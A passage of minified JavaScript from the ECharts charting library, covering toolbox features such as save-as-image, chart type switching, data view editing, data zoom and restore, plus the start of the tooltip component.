f=Kg(e,n).refContainer,p=e.getBoxLayoutParams(),m=e.get(`padding`),h=Ug(p,f,m);zg(e.get(`orient`),i,e.get(`itemGap`),h.width,h.height),qg(i,p,f,m),i.add(qX(i.getBoundingRect(),e)),o||i.eachChild(function(e){var t=e.__title,r=e.ensureState(`emphasis`),o=r.textConfig||={},s=e.getTextContent(),c=s&&s.ensureState(`emphasis`);if(c&&!V(c)&&t){var l=c.style||={},u=Co(t,Hu.makeFont(l)),d=e.x+i.x,f=e.y+i.y+a,p=!1;f+u.height>n.getHeight()&&(o.position=`top`,p=!0);var m=p?-5-u.height:a+10;d+u.width/2>n.getWidth()?(o.position=[`100%`,m],l.align=`right`):d-u.width/2<0&&(o.position=[0,m],l.align=`left`)}})},t.prototype.updateView=function(e,t,n,r){L(this._features,function(e){e instanceof HX&&e.updateView&&e.updateView(e.model,t,n,r)})},t.prototype.remove=function(e,t){L(this._features,function(n){n instanceof HX&&n.remove&&n.remove(e,t)}),this.group.removeAll()},t.prototype.dispose=function(e,t){L(this._features,function(n){n instanceof HX&&n.dispose&&n.dispose(e,t)})},t.type=`toolbox`,t}(Eb);function YX(e){return e.indexOf(`my`)===0}var XX=function(e){N(t,e);function t(){return e!==null&&e.apply(this,arguments)||this}return t.prototype.onclick=function(e,t){var n=this.model,r=n.get(`name`)||e.get(`title.0.text`)||`echarts`,i=t.getZr().painter.getType()===`svg`,a=i?`svg`:n.get(`type`,!0)||`png`,o=t.getConnectedDataURL({type:a,backgroundColor:n.get(`backgroundColor`,!0)||e.get(`backgroundColor`)||Q.color.neutral00,connectedBackgroundColor:n.get(`connectedBackgroundColor`),excludeComponents:n.get(`excludeComponents`),pixelRatio:n.get(`pixelRatio`)}),s=Ne.browser;if(typeof MouseEvent==`function`&&(s.newEdge||!s.ie&&!s.edge)){var c=document.createElement(`a`);c.download=r+`.`+a,c.target=`_blank`,c.href=o;var l=new MouseEvent(`click`,{view:document.defaultView,bubbles:!0,cancelable:!1});c.dispatchEvent(l)}else if(window.navigator.msSaveOrOpenBlob||i){var u=o.split(`,`),d=u[0].indexOf(`base64`)>-1,f=i?decodeURIComponent(u[1]):u[1];d&&(f=window.atob(f));var p=r+`.`+a;if(window.navigator.msSaveOrOpenBlob){for(var m=f.length,h=new Uint8Array(m);m--;)h[m]=f.charCodeAt(m);var g=new Blob([h]);window.navigator.msSaveOrOpenBlob(g,p)}else{var _=document.createElement(`iframe`);document.body.appendChild(_);var v=_.contentWindow,y=v.document;y.open(`image/svg+xml`,`replace`),y.write(f),y.close(),v.focus(),y.execCommand(`SaveAs`,!0,p),document.body.removeChild(_)}}else{var b=n.get(`lang`),x=`<body style="margin:0;"><img src="`+o+`" style="max-width:100%;" title="`+(b&&b[0]||``)+`" /></body>`,S=window.open();S.document.write(x),S.document.title=r}},t.getDefaultOption=function(e){return{show:!0,icon:`M4.7,22.9L29.3,45.5L54.7,23.4M4.6,43.6L4.6,58L53.8,58L53.8,43.6M29.2,45.1L29.2,0`,title:e.getLocaleModel().get([`toolbox`,`saveAsImage`,`title`]),type:`png`,connectedBackgroundColor:Q.color.neutral00,name:``,excludeComponents:[`toolbox`],lang:e.getLocaleModel().get([`toolbox`,`saveAsImage`,`lang`])}},t}(HX),ZX=`__ec_magicType_stack__`,QX=[[`line`,`bar`],[`stack`]],$X=function(e){N(t,e);function t(){return e!==null&&e.apply(this,arguments)||this}return t.prototype.getIcons=function(){var e=this.model,t=e.get(`icon`),n={};return L(e.get(`type`),function(e){t[e]&&(n[e]=t[e])}),n},t.getDefaultOption=function(e){return{show:!0,type:[],icon:{line:`M4.1,28.9h7.1l9.3-22l7.4,38l9.7-19.7l3,12.8h14.9M4.1,58h51.4`,bar:`M6.7,22.9h10V48h-10V22.9zM24.9,13h10v35h-10V13zM43.2,2h10v46h-10V2zM3.1,58h53.7`,stack:`M8.2,38.4l-8.4,4.1l30.6,15.3L60,42.5l-8.1-4.1l-21.5,11L8.2,38.4z M51.9,30l-8.1,4.2l-13.4,6.9l-13.9-6.9L8.2,30l-8.4,4.2l8.4,4.2l22.2,11l21.5-11l8.1-4.2L51.9,30z M51.9,21.7l-8.1,4.2L35.7,30l-5.3,2.8L24.9,30l-8.4-4.1l-8.3-4.2l-8.4,4.2L8.2,30l8.3,4.2l13.9,6.9l13.4-6.9l8.1-4.2l8.1-4.1L51.9,21.7zM30.4,2.2L-0.2,17.5l8.4,4.1l8.3,4.2l8.4,4.2l5.5,2.7l5.3-2.7l8.1-4.2l8.1-4.2l8.1-4.1L30.4,2.2z`},title:e.getLocaleModel().get([`toolbox`,`magicType`,`title`]),option:{},seriesIndex:{}}},t.prototype.onclick=function(e,t,n){var r=this.model,i=r.get([`seriesIndex`,n]);if(eZ[n]){var a={series:[]};L(QX,function(e){it(e,n)>=0&&L(e,function(e){r.setIconStatus(e,`normal`)})}),r.setIconStatus(n,`emphasis`),e.eachComponent({mainType:`series`,query:i==null?null:{seriesIndex:i}},function(e){var t=e.subType,i=e.id,o=eZ[n](t,i,e,r);o&&(I(o,e.option),a.series.push(o));var s=e.coordinateSystem;if(s&&s.type===`cartesian2d`&&(n===`line`||n===`bar`)){var c=s.getAxesByScale(`ordinal`)[0];if(c){var l=c.dim+`Axis`,u=e.getReferringComponents(l,uc).models[0].componentIndex;a[l]=a[l]||[];for(var d=0;d<=u;d++)a[l][u]=a[l][u]||{};a[l][u].boundaryGap=n===`bar`}}});var o,s=n;n===`stack`&&(o=nt({stack:r.option.title.tiled,tiled:r.option.title.stack},r.option.title),r.get([`iconStatus`,n])!==`emphasis`&&(s=`tiled`)),t.dispatchAction({type:`changeMagicType`,currentType:s,newOption:a,newTitle:o,featureName:`magicType`})}},t}(HX),eZ={line:function(e,t,n,r){if(e===`bar`)return nt({id:t,type:`line`,data:n.get(`data`),stack:n.get(`stack`),markPoint:n.get(`markPoint`),markLine:n.get(`markLine`)},r.get([`option`,`line`])||{},!0)},bar:function(e,t,n,r){if(e===`line`)return nt({id:t,type:`bar`,data:n.get(`data`),stack:n.get(`stack`),markPoint:n.get(`markPoint`),markLine:n.get(`markLine`)},r.get([`option`,`bar`])||{},!0)},stack:function(e,t,n,r){var i=n.get(`stack`)===ZX;if(e===`line`||e===`bar`)return r.setIconStatus(`stack`,i?`normal`:`emphasis`),nt({id:t,stack:i?``:ZX},r.get([`option`,`stack`])||{},!0)}};cw({type:`changeMagicType`,event:`magicTypeChanged`,update:`prepareAndUpdate`},function(e,t){t.mergeOption(e.newOption)});var tZ=Array(60).join(`-`),nZ=` `;function rZ(e){var t={},n=[],r=[];return e.eachRawSeries(function(e){var i=e.coordinateSystem;if(i&&(i.type===`cartesian2d`||i.type===`polar`)){var a=i.getBaseAxis();if(a.type===`category`){var o=a.dim+`_`+a.index;t[o]||(t[o]={categoryAxis:a,valueAxis:i.getOtherAxis(a),series:[]},r.push({axisDim:a.dim,axisIndex:a.index})),t[o].series.push(e)}else n.push(e)}else n.push(e)}),{seriesGroupByCategoryAxis:t,other:n,meta:r}}function iZ(e){var t=[];return L(e,function(e,n){var r=e.categoryAxis,i=e.valueAxis.dim,a=[` `].concat(R(e.series,function(e){return e.name})),o=[r.model.getCategories()];L(e.series,function(e){var t=e.getRawData();o.push(e.getRawData().mapArray(t.mapDimension(i),function(e){return e}))});for(var s=[a.join(nZ)],c=0;c<o[0].length;c++){for(var l=[],u=0;u<o.length;u++)l.push(o[u][c]);s.push(l.join(nZ))}t.push(s.join(`
+`))}),t.join(`
+
+`+tZ+`
+
+`)}function aZ(e){return R(e,function(e){var t=e.getRawData(),n=[e.name],r=[];return t.each(t.dimensions,function(){for(var e=arguments.length,i=arguments[e-1],a=t.getName(i),o=0;o<e-1;o++)r[o]=arguments[o];n.push((a?a+nZ:``)+r.join(nZ))}),n.join(`
+`)}).join(`
+
+`+tZ+`
+
+`)}function oZ(e){var t=rZ(e);return{value:lt([iZ(t.seriesGroupByCategoryAxis),aZ(t.other)],function(e){return!!e.replace(/[\n\t\s]/g,``)}).join(`
+
+`+tZ+`
+
+`),meta:t.meta}}function sZ(e){return e.replace(/^\s\s*/,``).replace(/\s\s*$/,``)}function cZ(e){if(e.slice(0,e.indexOf(`
+`)).indexOf(nZ)>=0)return!0}var lZ=RegExp(`[`+nZ+`]+`,`g`);function uZ(e){for(var t=e.split(/\n+/g),n=sZ(t.shift()).split(lZ),r=[],i=R(n,function(e){return{name:e,data:[]}}),a=0;a<t.length;a++){var o=sZ(t[a]).split(lZ);r.push(o.shift());for(var s=0;s<o.length;s++)i[s]&&(i[s].data[a]=o[s])}return{series:i,categories:r}}function dZ(e){for(var t=e.split(/\n+/g),n=sZ(t.shift()),r=[],i=0;i<t.length;i++){var a=sZ(t[i]);if(a){var o=a.split(lZ),s=``,c=void 0,l=!1;isNaN(o[0])?(l=!0,s=o[0],o=o.slice(1),r[i]={name:s,value:[]},c=r[i].value):c=r[i]=[];for(var u=0;u<o.length;u++)c.push(+o[u]);c.length===1&&(l?r[i].value=c[0]:r[i]=c[0])}}return{name:n,data:r}}function fZ(e,t){var n=e.split(RegExp(`
+*`+tZ+`
+*`,`g`)),r={series:[]};return L(n,function(e,n){if(cZ(e)){var i=uZ(e),a=t[n],o=a.axisDim+`Axis`;a&&(r[o]=r[o]||[],r[o][a.axisIndex]={data:i.categories},r.series=r.series.concat(i.series))}else{var i=dZ(e);r.series.push(i)}}),r}var pZ=function(e){N(t,e);function t(){return e!==null&&e.apply(this,arguments)||this}return t.prototype.onclick=function(e,t){setTimeout(function(){t.dispatchAction({type:`hideTip`})});var n=t.getDom(),r=this.model;this._dom&&n.removeChild(this._dom);var i=document.createElement(`div`);i.style.cssText=`position:absolute;top:0;bottom:0;left:0;right:0;padding:5px`,i.style.backgroundColor=r.get(`backgroundColor`)||Q.color.neutral00;var a=document.createElement(`h4`),o=r.get(`lang`)||[];a.innerHTML=o[0]||r.get(`title`),a.style.cssText=`margin:10px 20px`,a.style.color=r.get(`textColor`);var s=document.createElement(`div`),c=document.createElement(`textarea`);s.style.cssText=`overflow:auto`;var l=r.get(`optionToContent`),u=r.get(`contentToOption`),d=oZ(e);if(V(l)){var f=l(t.getOption());H(f)?s.innerHTML=f:vt(f)&&s.appendChild(f)}else{c.readOnly=r.get(`readOnly`);var p=c.style;p.cssText=`display:block;width:100%;height:100%;font-family:monospace;font-size:14px;line-height:1.6rem;resize:none;box-sizing:border-box;outline:none`,p.color=r.get(`textColor`),p.borderColor=r.get(`textareaBorderColor`),p.backgroundColor=r.get(`textareaColor`),c.value=d.value,s.appendChild(c)}var m=d.meta,h=document.createElement(`div`);h.style.cssText=`position:absolute;bottom:5px;left:0;right:0`;var g=`float:right;margin-right:20px;border:none;cursor:pointer;padding:2px 5px;font-size:12px;border-radius:3px`,_=document.createElement(`div`),v=document.createElement(`div`);g+=`;background-color:`+r.get(`buttonColor`),g+=`;color:`+r.get(`buttonTextColor`);var y=this;function b(){n.removeChild(i),y._dom=null}Mn(_,`click`,b),Mn(v,`click`,function(){if(u==null&&l!=null||u!=null&&l==null){b();return}var e;try{e=V(u)?u(s,t.getOption()):fZ(c.value,m)}catch(e){throw b(),Error(`Data view format error `+e)}e&&t.dispatchAction({type:`changeDataView`,newOption:e}),b()}),_.innerHTML=o[1],v.innerHTML=o[2],v.style.cssText=_.style.cssText=g,!r.get(`readOnly`)&&h.appendChild(v),h.appendChild(_),i.appendChild(a),i.appendChild(s),i.appendChild(h),s.style.height=n.clientHeight-80+`px`,n.appendChild(i),this._dom=i},t.prototype.remove=function(e,t){this._dom&&t.getDom().removeChild(this._dom)},t.prototype.dispose=function(e,t){this.remove(e,t)},t.getDefaultOption=function(e){return{show:!0,readOnly:!1,optionToContent:null,contentToOption:null,icon:`M17.5,17.3H33 M17.5,17.3H33 M45.4,29.5h-28 M11.5,2v56H51V14.8L38.4,2H11.5z M38.4,2.2v12.7H51 M45.4,41.7h-28`,title:e.getLocaleModel().get([`toolbox`,`dataView`,`title`]),lang:e.getLocaleModel().get([`toolbox`,`dataView`,`lang`]),backgroundColor:Q.color.background,textColor:Q.color.primary,textareaColor:Q.color.background,textareaBorderColor:Q.color.border,buttonColor:Q.color.accent50,buttonTextColor:Q.color.neutral00}},t}(HX);function mZ(e,t){return R(e,function(e,n){var r=t&&t[n];if(U(r)&&!B(r)){U(e)&&!B(e)||(e={value:e});var i=r.name!=null&&e.name==null;return e=I(e,r),i&&delete e.name,e}else return e})}cw({type:`changeDataView`,event:`dataViewChanged`,update:`prepareAndUpdate`},function(e,t){var n=[];L(e.newOption.series,function(e){var r=t.getSeriesByName(e.name)[0];if(!r)n.push(F({type:`scatter`},e));else{var i=r.get(`data`);n.push({name:e.name,data:mZ(e.data,i)})}}),t.mergeOption(I({series:n},e.newOption))});var hZ=L,gZ=oc();function _Z(e,t){var n=xZ(e);hZ(t,function(t,r){for(var i=n.length-1;i>=0&&!n[i][r];i--);if(i<0){var a=e.queryComponents({mainType:`dataZoom`,subType:`select`,id:r})[0];if(a){var o=a.getPercentRange();n[0][r]={dataZoomId:r,start:o[0],end:o[1]}}}}),n.push(t)}function vZ(e){var t=xZ(e),n=t[t.length-1];t.length>1&&t.pop();var r={};return hZ(n,function(e,n){for(var i=t.length-1;i>=0;i--)if(e=t[i][n],e){r[n]=e;break}}),r}function yZ(e){gZ(e).snapshots=null}function bZ(e){return xZ(e).length}function xZ(e){var t=gZ(e);return t.snapshots||=[{}],t.snapshots}var SZ=function(e){N(t,e);function t(){return e!==null&&e.apply(this,arguments)||this}return t.prototype.onclick=function(e,t){yZ(e),t.dispatchAction({type:`restore`,from:this.uid})},t.getDefaultOption=function(e){return{show:!0,icon:`M3.8,33.4 M47,18.9h9.8V8.7 M56.3,20.1 C52.1,9,40.5,0.6,26.8,2.1C12.6,3.7,1.6,16.2,2.1,30.6 M13,41.1H3.1v10.2 M3.7,39.9c4.2,11.1,15.8,19.5,29.5,18 c14.2-1.6,25.2-14.1,24.7-28.5`,title:e.getLocaleModel().get([`toolbox`,`restore`,`title`])}},t}(HX);cw({type:`restore`,event:`restore`,update:`prepareAndUpdate`},function(e,t){t.resetOption(`recreate`)});var CZ=[`grid`,`xAxis`,`yAxis`,`geo`,`graph`,`polar`,`radiusAxis`,`angleAxis`,`bmap`],wZ=function(){function e(e,t,n){var r=this;this._targetInfoList=[];var i=EZ(t,e);L(DZ,function(e,t){(!n||!n.include||it(n.include,t)>=0)&&e(i,r._targetInfoList)})}return e.prototype.setOutputRanges=function(e,t){return this.matchOutputRanges(e,t,function(e,t,n){if((e.coordRanges||=[]).push(t),!e.coordRange){e.coordRange=t;var r=AZ[e.brushType](0,n,t);e.__rangeOffset={offset:MZ[e.brushType](r.values,e.range,[1,1]),xyMinMax:r.xyMinMax}}}),e},e.prototype.matchOutputRanges=function(e,t,n){L(e,function(e){var r=this.findTargetInfo(e,t);r&&r!==!0&&L(r.coordSyses,function(r){n(e,AZ[e.brushType](1,r,e.range,!0).values,r,t)})},this)},e.prototype.setInputRanges=function(e,t){L(e,function(e){var n=this.findTargetInfo(e,t);if(e.range=e.range||[],n&&n!==!0){e.panelId=n.panelId;var r=AZ[e.brushType](0,n.coordSys,e.coordRange),i=e.__rangeOffset;e.range=i?MZ[e.brushType](r.values,i.offset,PZ(r.xyMinMax,i.xyMinMax)):r.values}},this)},e.prototype.makePanelOpts=function(e,t){return R(this._targetInfoList,function(n){var r=n.getPanelRect();return{panelId:n.panelId,defaultBrushType:t?t(n):null,clipPath:mH(r),isTargetByCursor:gH(r,e,n.coordSysModel),getLinearBrushOtherExtent:hH(r)}})},e.prototype.controlSeries=function(e,t,n){var r=this.findTargetInfo(e,n);return r===!0||r&&it(r.coordSyses,t.coordinateSystem)>=0},e.prototype.findTargetInfo=function(e,t){for(var n=this._targetInfoList,r=EZ(t,e),i=0;i<n.length;i++){var a=n[i],o=e.panelId;if(o){if(a.panelId===o)return a}else for(var s=0;s<OZ.length;s++)if(OZ[s](r,a))return a}return!0},e}();function TZ(e){return e[0]>e[1]&&e.reverse(),e}function EZ(e,t){return cc(e,t,{includeMainTypes:CZ})}var DZ={grid:function(e,t){var n=e.xAxisModels,r=e.yAxisModels,i=e.gridModels,a=G(),o={},s={};!n&&!r&&!i||(L(n,function(e){var t=e.axis.grid.model;a.set(t.id,t),o[t.id]=!0}),L(r,function(e){var t=e.axis.grid.model;a.set(t.id,t),s[t.id]=!0}),L(i,function(e){a.set(e.id,e),o[e.id]=!0,s[e.id]=!0}),a.each(function(e){var i=e.coordinateSystem,a=[];L(i.getCartesians(),function(e,t){(it(n,e.getAxis(`x`).model)>=0||it(r,e.getAxis(`y`).model)>=0)&&a.push(e)}),t.push({panelId:`grid--`+e.id,gridModel:e,coordSysModel:e,coordSys:a[0],coordSyses:a,getPanelRect:kZ.grid,xAxisDeclared:o[e.id],yAxisDeclared:s[e.id]})}))},geo:function(e,t){L(e.geoModels,function(e){var n=e.coordinateSystem;t.push({panelId:`geo--`+e.id,geoModel:e,coordSysModel:e,coordSys:n,coordSyses:[n],getPanelRect:kZ.geo})})}},OZ=[function(e,t){var n=e.xAxisModel,r=e.yAxisModel,i=e.gridModel;return!i&&n&&(i=n.axis.grid.model),!i&&r&&(i=r.axis.grid.model),i&&i===t.gridModel},function(e,t){var n=e.geoModel;return n&&n===t.geoModel}],kZ={grid:function(){return this.coordSys.master.getRect().clone()},geo:function(){var e=this.coordSys,t=e.getBoundingRect().clone();return t.applyTransform(cm(e)),t}},AZ={lineX:pt(jZ,0),lineY:pt(jZ,1),rect:function(e,t,n,r){var i=e?t.pointToData([n[0][0],n[1][0]],r):t.dataToPoint([n[0][0],n[1][0]],r),a=e?t.pointToData([n[0][1],n[1][1]],r):t.dataToPoint([n[0][1],n[1][1]],r),o=[TZ([i[0],a[0]]),TZ([i[1],a[1]])];return{values:o,xyMinMax:o}},polygon:function(e,t,n,r){var i=[[1/0,-1/0],[1/0,-1/0]];return{values:R(n,function(n){var a=e?t.pointToData(n,r):t.dataToPoint(n,r);return i[0][0]=Math.min(i[0][0],a[0]),i[1][0]=Math.min(i[1][0],a[1]),i[0][1]=Math.max(i[0][1],a[0]),i[1][1]=Math.max(i[1][1],a[1]),a}),xyMinMax:i}}};function jZ(e,t,n,r){var i=n.getAxis([`x`,`y`][e]),a=TZ(R([0,1],function(e){return t?i.coordToData(i.toLocalCoord(r[e]),!0):i.toGlobalCoord(i.dataToCoord(r[e]))})),o=[];return o[e]=a,o[1-e]=[NaN,NaN],{values:a,xyMinMax:o}}var MZ={lineX:pt(NZ,0),lineY:pt(NZ,1),rect:function(e,t,n){return[[e[0][0]-n[0]*t[0][0],e[0][1]-n[0]*t[0][1]],[e[1][0]-n[1]*t[1][0],e[1][1]-n[1]*t[1][1]]]},polygon:function(e,t,n){return R(e,function(e,r){return[e[0]-n[0]*t[r][0],e[1]-n[1]*t[r][1]]})}};function NZ(e,t,n,r){return[t[0]-r[e]*n[0],t[1]-r[e]*n[1]]}function PZ(e,t){var n=FZ(e),r=FZ(t),i=[n[0]/r[0],n[1]/r[1]];return isNaN(i[0])&&(i[0]=1),isNaN(i[1])&&(i[1]=1),i}function FZ(e){return e?[e[0][1]-e[0][0],e[1][1]-e[1][0]]:[NaN,NaN]}var IZ=L,LZ=tc(`toolbox-dataZoom_`),RZ=function(e){N(t,e);function t(){return e!==null&&e.apply(this,arguments)||this}return t.prototype.render=function(e,t,n,r){this._brushController||(this._brushController=new jV(n.getZr()),this._brushController.on(`brush`,z(this._onBrush,this)).mount()),HZ(e,t,this,r,n),VZ(e,t)},t.prototype.onclick=function(e,t,n){zZ[n].call(this)},t.prototype.remove=function(e,t){this._brushController&&this._brushController.unmount()},t.prototype.dispose=function(e,t){this._brushController&&this._brushController.dispose()},t.prototype._onBrush=function(e){var t=e.areas;if(!e.isEnd||!t.length)return;var n={},r=this.ecModel;this._brushController.updateCovers([]),new wZ(BZ(this.model),r,{include:[`grid`]}).matchOutputRanges(t,r,function(e,t,n){if(n.type===`cartesian2d`){var r=e.brushType;r===`rect`?(i(`x`,n,t[0]),i(`y`,n,t[1])):i({lineX:`x`,lineY:`y`}[r],n,t)}}),_Z(r,n),this._dispatchZoomAction(n);function i(e,t,i){var o=t.getAxis(e),s=o.model,c=a(e,s,r),l=c.findRepresentativeAxisProxy(s).getMinMaxSpan();(l.minValueSpan!=null||l.maxValueSpan!=null)&&(i=nV(0,i.slice(),o.scale.getExtent(),0,l.minValueSpan,l.maxValueSpan)),c&&(n[c.id]={dataZoomId:c.id,startValue:i[0],endValue:i[1]})}function a(e,t,n){var r;return n.eachComponent({mainType:`dataZoom`,subType:`select`},function(n){n.getAxisModel(e,t.componentIndex)&&(r=n)}),r}},t.prototype._dispatchZoomAction=function(e){var t=[];IZ(e,function(e,n){t.push(P(e))}),t.length&&this.api.dispatchAction({type:`dataZoom`,from:this.uid,batch:t})},t.getDefaultOption=function(e){return{show:!0,filterMode:`filter`,icon:{zoom:`M0,13.5h26.9 M13.5,26.9V0 M32.1,13.5H58V58H13.5 V32.1`,back:`M22,1.4L9.9,13.5l12.3,12.3 M10.3,13.5H54.9v44.6 H10.3v-26`},title:e.getLocaleModel().get([`toolbox`,`dataZoom`,`title`]),brushStyle:{borderWidth:0,color:Q.color.backgroundTint}}},t}(HX),zZ={zoom:function(){var e=!this._isZoomActive;this.api.dispatchAction({type:`takeGlobalCursor`,key:`dataZoomSelect`,dataZoomSelectActive:e})},back:function(){this._dispatchZoomAction(vZ(this.ecModel))}};function BZ(e){var t={xAxisIndex:e.get(`xAxisIndex`,!0),yAxisIndex:e.get(`yAxisIndex`,!0),xAxisId:e.get(`xAxisId`,!0),yAxisId:e.get(`yAxisId`,!0)};return t.xAxisIndex==null&&t.xAxisId==null&&(t.xAxisIndex=`all`),t.yAxisIndex==null&&t.yAxisId==null&&(t.yAxisIndex=`all`),t}function VZ(e,t){e.setIconStatus(`back`,bZ(t)>1?`emphasis`:`normal`)}function HZ(e,t,n,r,i){var a=n._isZoomActive;r&&r.type===`takeGlobalCursor`&&(a=r.key===`dataZoomSelect`?r.dataZoomSelectActive:!1),n._isZoomActive=a,e.setIconStatus(`zoom`,a?`emphasis`:`normal`);var o=new wZ(BZ(e),t,{include:[`grid`]}).makePanelOpts(i,function(e){return e.xAxisDeclared&&!e.yAxisDeclared?`lineX`:!e.xAxisDeclared&&e.yAxisDeclared?`lineY`:`rect`});n._brushController.setPanels(o).enableBrush(a&&o.length?{brushType:`auto`,brushStyle:e.getModel(`brushStyle`).getItemStyle()}:!1)}O_(`dataZoom`,function(e){var t=e.getComponent(`toolbox`,0),n=[`feature`,`dataZoom`];if(!t||t.get(n)==null)return;var r=t.getModel(n),i=[],a=cc(e,BZ(r));IZ(a.xAxisModels,function(e){return o(e,`xAxis`,`xAxisIndex`)}),IZ(a.yAxisModels,function(e){return o(e,`yAxis`,`yAxisIndex`)});function o(e,t,n){var a=e.componentIndex,o={type:`select`,$fromToolbox:!0,filterMode:r.get(`filterMode`,!0)||`filter`,id:LZ+t+a};o[n]=a,i.push(o)}return i});function UZ(e){e.registerComponentModel(KX),e.registerComponentView(JX),WX(`saveAsImage`,XX),WX(`magicType`,$X),WX(`dataView`,pZ),WX(`dataZoom`,RZ),WX(`restore`,SZ),bw(VX)}var WZ=function(e){N(t,e);function t(){var n=e!==null&&e.apply(this,arguments)||this;return n.type=t.type,n}return t.type=`tooltip`,t.dependencies=[`axisPointer`],t.defaultOption={z:60,show:!0,showContent:!0,trigger:`item`,triggerOn:`mousemove|click`,alwaysShowContent:!1,renderMode:`auto`,confine:null,showDelay:0,hideDelay:100,transitionDuration:.4,displayTransition:!0,enterable:!1,backgroundColor:Q.color.neutral00,shadowBlur:10,shadowColor:`rgba(0, 0, 0, .2)`,shadowOffsetX:1,shadowOffsetY:2,borderRadius:4,borderWidth:1,defaultBorderColor:Q.color.border,padding:null,extraCssText:``,axisPointer:{type:`line`,axis:`auto`,animation:`auto`,animationDurationUpdate:200,animationEasingUpdate:`exponentialOut`,crossStyle:{color:Q.color.borderShade,width:1,type:`dashed`,textStyle:{}}},textStyle:{color:Q.color.tertiary,fontSize:14}},t}(e_);function GZ(e){var t=e.get(`confine`);return t==null?e.get(`renderMode`)===`richText`:!!t}function KZ(e){if(Ne.domSupported){for(var t=document.documentElement.style,n=0,r=e.length;n<r;n++)if(e[n]in t)return e[n]}}var qZ=KZ([`transform`,`webkitTransform`,`OTransform`,`MozTransform`,`msTransform`]),JZ=KZ([`webkitTransition`,`transition`,`OTransition`,`MozTransition`,`msTransition`]);function YZ(e,t){if(!e)return t;t=pg(t,!0);var n=e.indexOf(t);return e=n===-1?t:`-`+e.slice(0,n)+`-`+t,e.toLowerCase()}function XZ(e,t){var n=e.currentStyle||document.defaultView&&document.defaultView.getComputedStyle(e);return n?t?n[t]:n:null}var ZZ=YZ(JZ,`transition`),QZ=YZ(qZ,`transform`),$Z=`position:absolute;display:block;border-style:solid;white-space:nowrap;z-index:9999999;`+(Ne.transform3dSupported?`will-change:transform;`:``);function eQ(e){return e=e===`left`?`right`:e===`right`?`left`:e===`top`?`bottom`:`top`,e}function tQ(e,t,n){if(!H(n)||n===`inside`)return``;var r=e.get(`backgroundColor`),i=e.get(`borderWidth`);t=xg(t);var a=eQ(n),o=Math.max(Math.round(i)*1.5,6),s=``,c=QZ+`:`,l;it([`left`,`right`],a)>-1?(s+=`top:50%`,c+=`translateY(-50%) rotate(`+(l=a===`left`?-225:-45)+`deg)`):(s+=`left:50%`,c+=`translateX(-50%) rotate(`+(l=a===`top`?225:45)+`deg)`);var u=l*Math.PI/180,d=o+i,f=d*Math.abs(Math.cos(u))+d*Math.abs(Math.sin(u)),p=Math.round(((f-Math.SQRT2*i)/2+Math.SQRT2*i-(f-d)/2)*100)/100;s+=`;`+a+`:-`+p+`px`;var m=t+` solid `+i+`px;`;return`<div style="`+[`position:absolute;width:`+o+`px;height:`+o+`px;z-index:-1;`,s+`;`+c+`;`,`border-bottom:`+m,`border-right:`+m,`background-color:`+r+`;`].join(``)+`"></div>`}function nQ(e,t,n){var r=`cubic-bezier(0.23,1,0.32,1)`,i=``,a=``;return n&&(i=` `+e/2+`s `+r,a=`opacity`+i+`,visibility`+i),t||(i=` `+e+`s `+r,a+=(a.length?`,`:``)+(Ne.transformSupported?``+QZ+i:`,left`+i+`,top`+i)),ZZ+`:`+a}function rQ(e,t,n){var r=e.toFixed(0)+`px`,i=t.toFixed(0)+`px`;if(!Ne.transformSupported)return n?`top:`+i+`;left:`+r+`;`:[[`top`,i],[`left`,r]];var a=Ne.transform3dSupported,o=`translate`+(a?`3d`:``)+`(`+r+`,`+i+(a?`,0`:``)+`)`;return n?`top:0;left:0;`+QZ+`:`+o+`;`:[[`top`,0],[`left`,0],[qZ,o]]}function iQ(e){var t=[],n=e.get(`fontSize`),r=e.getTextColor();r&&t.push(`color:`+r),t.push(`font:`+e.getFont());var i=W(e.get(`lineHeight`),Math.round(n*3/2));n&&t.push(`line-height:`+i+`px`);var a=e.get(`textShadowColor`),o=e.get(`textShadowBlur`)||0,s=e.get(`textShadowOffsetX`)||0,c=e.get(`textShadowOffsetY`)||0;return a&&o&&t.push(`text-shadow:`+s+`px `+c+`px `+o+`px `+a),L([`decoration`,`align`],function(n){var r=e.get(n);r&&t.push(`text-`+n+`:`+r)}),t.join(`;`)}function aQ(e,t,n,r){var i=[],a=e.get(`transitionDuration`),o=e.get(`backgroundColor`),s=e.get(`shadowBlur`),c=e.get(`shadowColor`),l=e.get(`shadowOffsetX`),u=e.get(`shadowOffsetY`),d=e.getModel(`textStyle`),f=ub(e,`html`),p=l+`px `+u+`px `+s+`px `+c;return i.push(`box-shadow:`+p),t&&a>0&&i.push(nQ(a,n,r)),o&&i.push(`background-color:`+o),L([`width`,`color`,`radius`],function(t){var n=`border-`+t,r=pg(n),a=e.get(r);a!=null&&i.push(n+`:`+a+(t===`color`?``:`px`))}),i.push(iQ(d)),f!=null&&i.push(`padding:`+mg(f).join(`px `)+`px`),i.join(`;`)+`;`}function oQ(e,t,n,r,i){var a=t&&t.painter;if(n){var o=a&&a.getViewportRoot();o&&hn(e,o,n,r,i)}else{e[0]=r,e[1]=i;var s=a&&a.getViewportRootOffset();s&&(e[0]+=s.offsetLeft,e[1]+=s.offsetTop)}e[2]=e[0]/t.getWidth(),e[3]=e[1]/t.getHeight()}var sQ=function(){function e(e,t){if(this._show=!1,this._styleCoord=[0,0,0,0],this._enterable=!0,this._alwaysShowContent=!1,this._firstShow=!0,this._longHide=!0,Ne.wxa)return null;var n=document.createElement(`div`);n.domBelongToZr=!0,this.el=n;var r=this._zr=e.getZr(),i=t.appendTo,a=i&&(H(i)?document.querySelector(i):vt(i)?i:V(i)&&i(e.getDom()));oQ(this._styleCoord,r,a,e.getWidth()/2,e.getHeight()/2),(a||e.getDom()).appendChild(n),this._api=e,this._container=a;var o=this;n.onmouseenter=function(){o._enterable&&(clearTimeout(o._hideTimeout),o._show=!0),o._inContent=!0},n.onmousemove=function(e){if(e||=window.event,!o._enterable){var t=r.handler;An(r.painter.getViewportRoot(),e,!0),t.dispatch(`mousemove`,e)}},n.onmouseleave=function(){o._inContent=!1,o._enterable&&o._show&&o.hideLater(o._hideDelay)}}return e.prototype.update=function(e){if(!this._container){var t=this._api.getDom(),n=XZ(t,`position`),r=t.style;r.position!==`absolute`&&n!==`absolute`&&(r.position=`relative`)}var i=e.get(`alwaysShowContent`);i&&this._moveIfResized(),this._alwaysShowContent=i,this._enableDisplayTransition=e.get(`displayTransition`)&&e.get(`transitionDuration`)>0,this.el.className=e.get(`className`)||``},e.prototype.show=function(e,t){clearTimeout(this._hideTimeout),clearTimeout(this._longHideTimeout);var 